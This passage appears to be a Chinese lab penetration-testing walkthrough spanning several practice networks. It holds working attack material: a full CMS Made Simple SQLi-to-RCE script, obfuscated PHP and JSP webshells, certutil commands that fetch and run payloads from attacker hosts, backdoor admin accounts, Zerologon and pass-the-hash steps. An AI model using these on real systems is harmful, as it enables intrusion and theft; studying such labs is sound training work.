1225122606bd001259031227535904b20028535905b2002853b600293a04190404b6002a19042a06bd001459032d53590403b8002b5359052dbeb8002b53b6002cc000123a051905b600184ca700044e2bb0000200090014001700160018006e0071002d0002005e00000036000d00000054000700550009005800140062001700590018005b0022005c0040005d0046005e0068005f006e00610071006000720064006b000000280003ff0017000207006c07006d000107006eff0059000307006c07006d07006e0001070072fa0000006300000004000100160009007300740001005d0000006f000700040000002e2a122e04bd0012590312045304bd00145903122f53b800154d2c1230b8001ac000314e2d2bb6003257a700044db1000100000029002c00160002005e0000001a0006000000690019006a0023006b0029006d002c006c002d006f006b0000000700026c07006e000008007500760002005d000000b000060004000000701233b800344c2b123504bd00125903120453b600362bb6001804bd001459032a53b6002cc00027c00027c00027b04d1237b800344c2b123803bd0012b600360103bd0014b6002c4e2db6001f123904bd00125903120453b600362d04bd001459032a53b6002cc00027c00027c00027b000010000002d002e00160002005e0000001a00060000007400060075002e0076002f00770035007800480079006b0000000600016e07006e00630000000a0004006f004f007000510009007700780002005d00000090000400060000003ebb003a59b7003b4cbb003c592ab7003d4dbb003e592cb7003f4e110100bc083a042d1904b600405936059b000f2b1904031505b60041a7ffeb2bb60042b000000002005e0000001e00070000007e0008007f00110080001a008100210084002d008500390088006b0000001c0002ff0021000507002707007907007a07007b0700270000fc001701006300000004000100640020007c007d0002005d00000027000300040000000b2b2cb800432b2db60044b100000001005e0000000a00020000008c000a008d006300000004000100160008007e007f0002005d0000003100020003000000112a2bb800434d2c04b600452c2ab60046b000000001005e0000000e00030000009000060091000b0092006300000004000100160008008000810002005d0000007b00030004000000282ab6001f4d2cc600192c2bb600474e2d04b600452db04e2cb600494da7ffe9bb0048592bb7004abf000100090015001600480002005e00000026000900000096000500980009009a000f009b0014009c0016009d0017009e001c009f001f00a2006b0000000d0003fc000507008250070083080063000000040001004800280084007f0002005d00000026000400020000000e2a2b03bd001203bd0014b80015b000000001005e000000060001000000a60063000000080003004f005100700029008400850002005d0000019700030009000000ca2ac1001299000a2ac00012a700072ab6001f3a04013a0519043a061905c700641906c6005f2cc700431906b6004b3a0703360815081907bea2002e1907150832b6004c2bb6004d9900191907150832b6004ebe9a000d19071508323a05a70009840801a7ffd0a7000c19062b2cb600293a05a7ffa93a071906b600493a06a7ff9d1905c7000cbb004f592bb70050bf190504b6002a2ac1001299001a1905012db6002cb03a07bb0052591907b60053b70054bf19052a2db6002cb03a07bb0052591907b60053b70054bf0003002500720075004f009c00a300a4005100b300ba00bb00510002005e0000006e001b000000aa001400ab001700ac001b00ae002500b0002900b1003000b3003b00b4005600b5005d00b6006000b3006600b9006900ba007200be007500bc007700bd007e00be008100c1008600c2008f00c4009500c5009c00c700a400c800a600c900b300cd00bb00ce00bd00cf006b0000002f000e0e43070082fe0008070082070086070082fd0017070087012cf900050208420700880b0d540700890e470700890063000000080003004f007000510008008a005c0001005d000000540003000100000017b80055b80056b80057a7000d4bbb0052592ab70058bfb1000100000009000c00160002005e000000160005000000270009002a000c0028000d00290016002b006b0000000700024c07006e090001008b00000002008c\"), ClassLoader.getSystemClassLoader()))"}}}},"cols":{"len":50},"validations":[],"autofilter":{},"dbexps":[],"dicts":[],"loopBlockList":[],"zonedEditionList":[],"fixedPrintHeadRows":[],"fixedPrintTailRows":[],"rpbar":{"show":true,"pageSize":"","btnList":[]},"hiddenCells":[],"hidden":{"rows":[],"cols":[]},"background":false,"area":false,"dataRectWidth":0,"excel_config_id":"123456789","pyGroupEngine":false,"querySetting":{"izOpenQueryBar":false,"izDefaultQuery":true}}

后用show接口触发代码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
POST /jmreport/show?previousPage=xxx&jmLink=YWFhfHxiYmI=&token=123123 HTTP/1.1
Host: 172.30.58.79:8085
Content-Length: 98
sec-ch-ua: "Not-A.Brand";v="99", "Chromium";v="124"
X-Tenant-Id: null
JmReport-Tenant-Id: null
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36
tenantId: null
Content-Type: application/json;charset=UTF-8
Accept: application/json, text/plain, */*
X-Access-Token: null
token: null
sec-ch-ua-platform: "Windows"
Origin: http://172.30.58.79:8085
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://172.30.58.79:8085/jmreport/view/123456
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: Hm_lvt_5819d05c0869771ff6e6a81cdec5b2e8=1734512727,1734575289,1734580151,1734592701; HMACCOUNT=5325E852605ABB9A; Hm_lpvt_5819d05c0869771ff6e6a81cdec5b2e8=1734593609
Connection: keep-alive

{"id":"123456789","apiUrl":"","params":"{\"pageNo\":1,\"pageSize\":10,\"jmViewFirstLoad\":\"1\"}"}

然后用冰蝎连接,这里需要请求头,蚁剑也可以设置请求头,不过应该是别的师傅的poc的原因

image-20260130174844137

image-20260130174808917

可以直接读

image-20260130174930638

flag2

知识点:通达OA未授权文件上传、数据库UDF提权

79的根目录看到了一个xshell,应该跟78有关,不过我们77还没拿我们看看79有没有内网网卡,然后先上线CS吧、

image-20260130175849088

没有网卡,看看杀软,上线CS吧

1
tasklist /svc

image-20260130180041729

好好,又是windows杀软,我们用掩日的网络分离打

1
4444.exe http://172.30.58.42:8888/S2/4444.txt

image-20260131130803224

ip 功能
172.30.58.42 外网机(拿下)
172.30.58.77 WIN-UPQLOPM011B 存在web服务
172.30.58.78 只开放了22端口
172.30.58.79 WIN-85B7F32VC8H 8085端口存在web服务(拿下)

现在回过头去看77的机子,是个通达OA

image-20260131131142319

直接开suo

image-20260131131836978

蚁剑连接

image-20260131132105853

但是无法执行命令(好像这个后门就是无法执行命令的,需要数据库提权)

image-20260131132244077

既然如此,翻一下数据库配置,获取密码

image-20260131132523543

1
root/HvaaOUr6n^v`_dyw@0YjA

有数据库,但是蚁剑连不上,MUDT也连不上,不知道什么原因,这里做一个免杀的哥斯拉马上传到webroot

image-20260131142608777

image-20260131140114074

连接哥斯拉,后来发现蚁剑其实也连的上数据库,因为这个数据库端口在3336得改一下(又浪费一波时间)

image-20260131143417808

然后我们需要上传一个lib_mysqludf_sys.dll,这样提权,允许执行命令

这个dllkalisqlmap自带的

1
python extra/cloak/cloak.py -d -i data/udf/mysql/windows/64/lib_mysqludf_sys.dll_

image-20260131144234821

然后将dll文件上传到mysql5/lib/plugin目录下,这两个目录需要自己新建

image-20260131144753409

然后在数据库中执行sql语句

1
create function sys_eval returns string soname 'lib_mysqludf_sys.dll';

image-20260131144912791

1
select sys_eval("whoami");

image-20260131144954153

成功提权,这个貌似就是UDF提权,之前用MDUT打过,不知道为什么这次不能用MDUT连接,猜测应该是这个数据库不对外开放,只能本地连接

接下来先上线CS,然后土豆提权吧,在数据库这里执行命令非常的慢

1
2
3
select sys_eval('C:/Users/Public/4444.exe http://172.30.58.42:8888/S2/4444.txt');

connect 172.30.58.77

image-20260131150603676

然后土豆提权,和之前一样用坏土豆

1
"\"C:\Users\Public\4444.exe\" http://172.30.58.42:8888/S2/4444.txt"

image-20260131151150020

直接读flag就行

image-20260131151316937

flag4

知识点:获取RDP密码登录RDP

ip 功能
172.30.58.42 外网机(拿下)
172.30.58.77 WIN-UPQLOPM011B 存在web服务 (拿下)
172.30.58.78 只开放了22端口
172.30.58.79 WIN-85B7F32VC8H 8085端口存在web服务(拿下)

我们需要横向到78这台,当然也看一下77有没有内网网卡

只有一张网卡

image-20260131152902327

横向77这台,我们回到之前79那台机子,之前是说有个xshell的,既然有,我们开个RDP上去,看看xshell里面可不可以连接上78

1
2
3
shell net user liernian qwer123! /add

shell net localgroup Administrators liernian /add

关防火墙和开RDP可以在插件做到,还需要关闭身份验证

(这个还是在之前那个冰蝎里搞比较方便)

1
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v UserAuthentication /t REG_DWORD /d 0 /f	

不过要是实战的话,还是抓取本地RDP密码比较靠谱,登录之后才想起来,我新创建的用户,怎么可能会有使用xshell的记录,这里还是必须要登录管理员的的RDP(所以上面又是无用功了)

image-20260131155509986

image-20260131155514953

1
Administrator/aviator!321

这里没有插件也没事,可以直接修改管理员的密码

1
shell net user Administrator qwer123! 

然后RDP登录,已经有连接了,还是root,直接读

image-20260131155805021

image-20260131155842216

flag5

知识点:stowaway二级代理、MS17010

不用想,肯定有内网在,我们传一个stowaway上去

又有杀软,关掉就行

还不能直接传,真是。。。

我们改个密码,在本地登录

1
echo root:qwer123|chpasswd

还得是finalshell

image-20260131161306882

我服了,无法上传,不知道什么原因,回头搞一下xshell

发现点了这个上传文件后,就可以通过sftp上传了

image-20260131163458243

建立二级代理

1
2
3
4
listen
1
5555
./linux_x64_agent -c 172.30.58.42:5555

然后扫一下

image-20260131164434035

扫出来一个MS17-010

image-20260131164631554

直接MSF,这里还必须设一下这个1433,默认的4444不行

1
2
3
4
5
6
7
proxychains -q msfconsole
search ms17
use 0
set payload windows/x64/meterpreter/bind_tcp_uuid
set rhosts 10.2.2.54
set lport 1433
run

image-20260131165355620

image-20260131165821604

Gear

flag1

知识点:CMS Made Simple历史漏洞

入口点是域名,我们需要解析一下域名

image-20260203203457186

直接ping一下

image-20260203210042932

1
172.10.59.35

fscan开扫

发现有个233端口,不过没什么用

image-20260203210455835

回到之前那个网站

是一个CMS Made Simple,搞一下nday

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
import requests
import sys
import re
from time import sleep
from lxml import etree

def login(s, t, usr):
    uri = "%sadmin/login.php" % t
    s.get(uri)
    d = {
        "username" : usr,
        "password" : usr,
        "loginsubmit" : "Submit"
    }
    r = s.post(uri, data=d)
    match = re.search("style.php\?__c=(.*)\"", r.text)
    assert match, "(-) login failed"
    return match.group(1)

def trigger_or_patch_ssti(s, csrf, t, tpl):
    # CVE-2021-26120
    d = {
        "mact": 'DesignManager,m1_,admin_edit_template,0',
        "__c" : csrf,
        "m1_tpl" : 10,
        "m1_submit" : "Submit",
        "m1_name" : "Simplex",
        "m1_contents" : tpl
    }
    r = s.post("%sadmin/moduleinterface.php" % t, files={}, data=d)
    if"rce()" in tpl:
        r = s.get("%sindex.php" % t)
        assert ("endrce" in r.text), "(-) rce failed!"
        cmdr = r.text.split("endrce")[0]
        print(cmdr.strip())

def determine_bool(t, exp):
    p = {
       "mact" : "News,m1_,default,0",
       "m1_idlist": ",1)) and %s-- " % exp
    }
    r = requests.get("%smoduleinterface.php" % t, params=p) 
    return True if r.text.count("Posted by:") == 2else False

def trigger_sqli(t, char, sql, c_range):
    # CVE-2019-9053
    for i in c_range:
        # <> characters are html escaped so we just have =
        # substr w/ from/for because anymore commas and the string is broken up resulting in an invalid query
        if determine_bool(t, ",1)) and ascii(substr((%s) from %d for 1))=%d-- " % (sql, char, i)): return chr(i) 
    return-1
    
def leak_string(t, sql, leak_name, max_length, c_range):
    sys.stdout.write("(+) %s: " % leak_name)
    sys.stdout.flush()
    leak_string = ""
    for i in range(1,max_length+1):
        c = trigger_sqli(t, i, sql, c_range)
        # username is probably < 25 characters
        if c == -1:
            break
        leak_string += c
        sys.stdout.write(c)
        sys.stdout.flush()
    assert len(leak_string) > 0, "(-) sql injection failed for %s!" % leak_name
    return leak_string    
    
def reset_pwd_stage1(t, usr):
    d = {
        "forgottenusername" : usr,
        "forgotpwform" : 1,
    }
    r = requests.post("%sadmin/login.php" % t, data=d)
    assert ("User Not Found" not in r.text), "(-) password reset failed!"

def reset_pwd_stage2(t, usr, key):
    d = {
        "username" : usr,
        "password" : usr,      # just reset to the username
        "passwordagain" : usr, # just reset to the username
        "changepwhash" : key,
        "forgotpwchangeform": 1,
        "loginsubmit" : "Submit",
    }
    r = requests.post("%sadmin/login.php" % t, data=d)
    match = re.search("Welcome: <a href=\"myaccount.php\?__c=[a-z0-9]*\">(.*)<\/a>", r.text)
    assert match, "(-) password reset failed!"
    assert match.group(1) == usr, "(-) password reset failed!"

def leak_simplex(s, t, csrf):
    p = {
        "mact" : "DesignManager,m1_,admin_edit_template,0",
        "__c" : csrf,
        "m1_tpl" : 10
    }
    r = s.get("%sadmin/moduleinterface.php" % t, params=p)
    page = etree.HTML(r.text)
    tpl = page.xpath("//textarea//text()")
    assert tpl is not None, "(-) leaking template failed!"
    return"".join(tpl)

def remove_locks(s, t, csrf):
    p = {
        "mact" : "DesignManager,m1_,admin_clearlocks,0",
        "__c" : csrf,
        "m1_type" : "template"
    }
    s.get("%sadmin/moduleinterface.php" % t, params=p)

def main():
    if(len(sys.argv) < 4):
        print("(+) usage: %s <host> <path> <cmd>" % sys.argv[0])
        print("(+) eg: %s 192.168.75.141 / id" % sys.argv[0])
        print("(+) eg: %s 192.168.75.141 /cmsms/ \"uname -a\"" % sys.argv[0])
        return
    pth = sys.argv[2]
    cmd = sys.argv[3]
    pth = pth + "/"if not pth.endswith("/") else pth
    pth = "/" + pth if not pth.startswith("/") else pth
    # target = "http://%s%s" % (sys.argv[1], pth)
    target="http://www.my.cs1ab.com/"
    print("(+) targeting %s" % target)
    if determine_bool(target, "1=1") and not determine_bool(target, "1=2"):
        print("(+) sql injection working!")
    print("(+) leaking the username...")
    username = "cslab"
    print("\n(+) resetting the %s's password stage 1" % username)
    reset_pwd_stage1(target, username)
    print("(+) leaking the pwreset token...")
    pwreset = leak_string(
        target,
        "select value from cms_userprefs where preference=0x70777265736574 and user_id=1", # qoutes will break things
        "pwreset",
        32, # md5 hash is always 32
        list(range(48,58)) + list(range(97,103)) # charset: 0-9a-f
    )
    print(pwreset)
    print("\n(+) done, resetting the %s's password stage 2" % username)
    reset_pwd_stage2(target, username, pwreset)
    session = requests.Session()
    # print("(+) logging in...")
    csrf = login(session, target, username)
    # print("(+) leaking simplex template...")
    remove_locks(session, target, csrf)
    simplex_tpl = leak_simplex(session, target, csrf)
    print("(+) injecting payload and executing cmd...\n")
    rce_tpl = "{function name='rce(){};system(\"%s\");function '}{/function}endrce" % cmd
    trigger_or_patch_ssti(session, csrf, target, rce_tpl+simplex_tpl)
    while True:
        r = session.get("%sindex.php" % target)
        if"endrce" not in r.text:
            break
        trigger_or_patch_ssti(session, csrf, target, simplex_tpl)

if __name__ == '__main__':
    main()

原理好像就是先用sql盲注提取密码重置哈希值密码重置为cslab,然后登录后台进行ssti

image-20260203215752405

执行成功了,登入网站然后上线CS

1
cslab/cslab

这里要一次一次执行命令太麻烦了,这里直接进后台打出文件上传了

首先是准备一个php免杀马,这里密钥是1

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
<?php
$username = '5J549bzx';
$password = 'UUd5J549bzxW5J549bzxMllXd29KRjlRVD5J549bzxFOVVd6RmRLVHNLTHk5d25J549bzxFIRG11cERub0lIdnZKcmt1SURsajZYb3I1M2pnSUhvbW9IbGlaSGpnSUhsaHJEb25ZN2pnSUhsazZYbWxxL21pNG5taUpibGhiYmt1NVozWldKemFHVnNiT2E2a09lZ2dRPT0=';
header('dddddd:'.$username);
$arr = apache_response_headers();
$template_source='';
foreach ($arr as $k => $v) {
    if ($k[0] == 'd' && $k[4] == 'd') {
        $template_source = str_replace($v,'',$password);
    }
}
$template_source = base64_decode($template_source);
$template_source = base64_decode($template_source);
$key = 'template_source';
$aes_decode=$$key;
@eval($aes_decode);

然后编辑成png上传文件(这里直接传一句话木马的png是会被杀的,需要免杀)

image-20260203224050540

然后选中刚刚上传的图片,再点击copy

image-20260203224555420

通过复制功能实现上传木马

连接成功

image-20260203223821214

愿意等的话,直接网络分离上线CS也行(有免杀)

1
2
3
python ./gear1.py 172.10.59.35 / "certutil -urlcache -split -f http://172.16.233.2:50055/a1.exe"

python ./gear1.py 172.10.59.35 / "a1.exe http://172.16.233.2:50055/a1.txt"

flag就是管理员哈希,直接抓

image-20260203225003118

1
2babd46497f956dff3b094cf4d462109

flag2

知识点:用友RCE

stowaway的时候记得关一下免杀(我用的CS插件)

看一下ip

image-20260204120659780

然后开扫吧

image-20260204121327102

看来又是一个多级代理的靶场

搭建之后去看看172.10.68.30:8088

是一个用友的站点

image-20260204122538573

直接开suo

image-20260204123755236

可以直接读flag,这里照常先上线CS再读

1
2
certutil -urlcache -split -f http://172.10.68.20/4444.exe
4444.exe http://172.10.68.20/4444.txt

image-20260204125156895

flag3

知识点:teamviewr连接

额,第二台机子估计有杀软,网络分离的免杀也只能坚持一会,这里反正是管理员权限,直接就搞一个RDP上去,关闭杀软

扫描内网

image-20260204125236529

1
10.0.0.59

image-20260205205740380

ip 功能
10.0.0.59 外网靶机(已拿下)
10.0.0.58 WIN-KNETOKJEB7S
10.0.0.60 DC域控
10.0.0.61 cyberweb

看下来没有web服务

之前RDP关杀软的时候看到了桌面有个teamviewer

在管理员的桌面可以看到密码

image-20260205211019188

将内网ip尝试输入后发现10.0.0.58可以连接 tm@cslab为teamviewer密码,24d@cs1为该主机administrator密码。直接连上,读取flag即可

image-20260205211424074

image-20260205211803700

flag4

知识点:zerologon

既然直接有RDP了,那就关一下杀软直接上线CS

image-20260205212354730

ip 功能
10.0.0.59 外网靶机(已拿下)
10.0.0.58 WIN-KNETOKJEB7S (拿下)
10.0.0.60 DC域控
10.0.0.61 cyberweb

systeminfo看一下,发现和域控并不是一个域的

image-20260205212639484

那我们直接再找找看

此时连一个域账号也没有,正常来说从域外进入域内有这么几种思路:Ldap匿名访问;域用户枚举;CVE漏洞利用等手段。

后来发现zerologon可以用

1
shell C:\Users\Public\mimikatz.exe "privilege::debug " "lsadump::zerologon /target:10.0.0.60 /account:DC$" "exit"

image-20260205213605549

置空密码

1
shell C:\Users\Public\mimikatz.exe "privilege::debug " "lsadump::zerologon /target:10.0.0.60  /ntlm /null /account:DC$ /exploit" "exit"

image-20260205213716905

最后导出哈希,打PTH就行

1
proxychains python secretsdump.py -no-pass cyberstrikelab.com/DC\$@10.0.0.60

image-20260205213902276

1
7b50525da0ea9349b4c698bbe4868544
1
proxychains4 python3 smbexec.py -hashes :7b50525da0ea9349b4c698bbe4868544 cyberstrikelab.com/administrator@10.0.0.60

image-20260205214549941

1
proxychains4 python3 smbexec.py -hashes :7b50525da0ea9349b4c698bbe4868544 cyberstrikelab.com/administrator@10.0.0.61

image-20260205214736346

Diamond

flag1

知识点:JSPXCMS历史漏洞

fscan一下

image-20260207193752507

发现是JSPXCMS,找找nday

image-20260207193858779

进入后台

1
2
3
http://192.168.10.45:8080/cmscp/index.do

admin/cslab

这里需要用哥斯拉特战版生成一个混淆的JSP然后打包成war包上传上去

1
jar -cf shell.war shell.jsp

image-20260207200129677

然后用python脚本搞一个具有路径穿越特性的zip包,这一步是为了把war包解压到webapps目录下

这里要一起放在新建shell文件夹下

1
2
3
4
5
6
import zipfile
zip = zipfile.ZipFile("test111.zip",'w',zipfile.ZIP_DEFLATED)
with open("shell.war","rb") as f:
    data=f.read();
    zip.writestr("../../../shell.war",data)
    zip.close()

image-20260207201526039

然后上传zip

image-20260207201011248

然后解压一下,直接连接

image-20260207201422629

flag直接读

image-20260207201701213

flag2

知识点:Oracle命令执行

发现一个用户和密码这个待会再说,先上线CS

image-20260207201742990

检查一下杀软

image-20260207202113536

这里既然有user.txt,那就看看有没有开启3306,尝试登录一下把杀软关掉

明显是有的

image-20260207202344856

尴尬的是我忘记了这个机子的权限很低,关闭防火墙什么的做不到,所以这里还是传一下网络分离的CS马,然后土豆提权一下

image-20260207203336224

最后经过尝试,还是需要自己开通rdp账号,也就是说user.txt应该是用来内网横向的

上去关掉杀软后传stowaway和fscan

image-20260207210757068

1
172.17.50.62

image-20260207210959668

image-20260207211111291

明显这里要做多级代理,但是33机子并没有开放3306,反而开放了1521

Oracle,反正都一样直接连

image-20260207212509371

数据库里没啥东西,那就用MUDT连

image-20260207213253252

本来MUDT进行初始化之后可以执行命令,但是我死活搞不了,搞了很久之后换了一个工具一把梭了

image-20260207224124816

这个也不好用,最后用的是这个

fishhero/Oracle-Tool: 一款Oracle数据库利用工具,可执行系统命令,文件写入等

image-20260207232053750

这里记得开启一下跳板机的phpstudy(Tomcat的目录真难找)

1
2
3
certutil -urlcache -split -f http://172.17.50.62/4444.exe 4444.exe

4444.exe http://172.17.50.62/4444.txt

image-20260207232146558

操了,这里打了我一个多小时

image-20260207232312392

flag3

知识点:O2OA后台命令执行、CVE-2017-0213

检查一下,直接关,传stowaway和fscan

image-20260207233516362

image-20260207233029779

image-20260207233905490

存在56有web服务

image-20260207233936658

O2OA系统,直接打nday

image-20260208110615143

存在系统默认弱口令,可以使用账号xadmin/o2进行登录

接口处在这个cslab接口里修改为一下代码

image-20260208111035568

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
// JavaScript 脚本中使用 Java 类型

var ProcessBuilder = Java.type("java.lang.ProcessBuilder");

  

var pb = new ProcessBuilder(["cmd.exe", "/c", "whoami"]); // Windows 上改为 ["cmd", "/c", "dir"]

var process = pb.start();

  

var bufReader = new java.io.BufferedReader(new java.io.InputStreamReader(process.getInputStream()));

var result = [];

  

while (true) {

var line = bufReader.readLine();

if (line == null) break;

result.push(line);

}

  

this.response.setBody({ Result: result }, "application/json");

啊然后点运行发现成功执行命令

image-20260208113621063

现在需要上线CS,我们要再第二台机子上搞一个http服务,要么下python,要么搞个phpstudy上去,这里我先试试搞phpstudy

先搞个rdp上去,然后传phpstudy的安装包

image-20260208115450639

1
2
3
4
5
certutil -urlcache -split -f http://10.0.0.65/4444.exe C:\Users\Public\4444.exe

dir C:\\Users\\Public  //这里看一下有没有下载下来

C:\\Users\\Public\\4444.exe http://10.0.0.65/4444.txt

image-20260208122339367

看wp后本来要用CVE-2017-0213,但是这个exe运行后会弹出系统权限cmd,CS怎么操作呢?

Exploits/CVE-2017-0213 at master · WindowsExploits/Exploits

后来拷打ai,ai说JuicyPotatoNG.exe是这个CVE的上位替代

就尝试了一下

antonioCoco/JuicyPotatoNG: Another Windows Local Privilege Escalation from Service Account to System

1
shell C:\Users\Public\JuicyPotatoNG.exe -t * -p C:\Windows\System32\cmd.exe -a "/c C:\Users\Public\4444.exe http://10.0.0.65/4444.txt"

image-20260208141110395

真的提权上线成功了

后来了解了一下,发现直接使用JuicyPotatoNG.exe并没有什么作用,应该是使用了2017-0213之后,cmd已经被提升称为系统权限了,然后再用JuicyPotatoNG.exe指定cmd运行命令,这样才能成功,不过是不是对的也不清楚,需要重开一下靶场再做一次实验

image-20260208143837331

flag4

知识点:

依旧

image-20260208145703647

image-20260208150057500

最后还是一个web站点,这个靶场没有域控打

发现是404好像没有别的方式了

看别的wp尝试用stowaway的端口转发(真是好东西啊)

1
forward 8877 10.5.0.23:8848

但是转发后还是404

image-20260208151443062

wp貌似没有遇到这种问题,不是到是不是环境的原因

后面就不打了也懒得重打一遍

jsp

image-20260208202625418

image-20260208202613314

答案错误了,不过这个估计是后门(好吧连后门都不是)

image-20260208205327255

扫出来这个是对的

直接上rdp

1
C:\Program Files\Apache Software Foundation\Tomcat 8.5\logs

image-20260208212518029

打开这个jsp

1
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e99d8eaf2c6b8b02";session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>

分析一下

爆破出是cslab

Windows defender发现了,在C:\ProgramData\Oracle\Java\installcache_x64\wyutdsgvxczbvc1.exe

用日志的攻击IP就成功了

1
192.168.101.10
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计